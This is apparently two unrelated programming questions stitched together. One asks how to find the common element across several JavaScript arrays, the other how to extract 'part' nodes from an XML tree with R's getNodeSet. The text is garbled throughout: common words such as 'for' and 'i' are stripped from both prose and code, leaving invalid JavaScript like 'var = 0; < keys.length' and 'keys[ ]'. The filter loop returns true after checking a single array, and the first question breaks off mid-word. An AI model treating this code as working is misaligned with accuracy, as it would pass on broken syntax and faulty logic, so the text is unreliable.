i need able find common item between arbitrary number of arrays. example, let's there's object this: var obj = { a: [ 15, 23, 36, 49, 104, 211 ], b: [ 9, 12, 23 ], c: [ 11, 17, 18, 23, 38 ], d: [ 13, 21, 23, 27, 40, 85] }; i'd need determine common item between each of these arrays. (in case, 23). my solution find shortest array, , iterate through each item in it, checking index of other arrays. var shortest = {}; var keys = []; ( var key in obj ) { if ( obj.hasownproperty( key ) && array.isarray( obj[ key ] ) ) { keys.push( key ); if ( !shortest.hasownproperty( 'length' ) || obj[ key ].length < shortest.length ) { shortest.name = key; shortest.length = obj[ key ].length; } } } var res = obj[ shortest.name ].filter(function ( v ) { ( var = 0; < keys.length; i++ ) { if ( obj[ keys[ ] ].indexof( v ) === -1 ) { return false; } return true; } }; however, seems enormously ineffi...

how split xml tree list of xml objects , user function getnodeset return value should include root object "part"? require(xml) txt = "<doc> <part> <name>abc</name> <type>xyz</type> <cost>3.54</cost> <status>available</status> </part> <part> <name>abc</name> <type>xyz</type> <cost>3.54</cost> <status>available</status> </part> </doc>" doc <- xmltreeparse(txt, useinternalnodes = true) special_nodes <- getnodeset(doc, "/*/part//*") i think nodes returned getnodeset pointers underlying xml object, instance > special_nodes[[1]] <name>abc</name> > xpathsapply(special_nodes[[1]], "../cost") [[1]] <cost>3.54</cost>
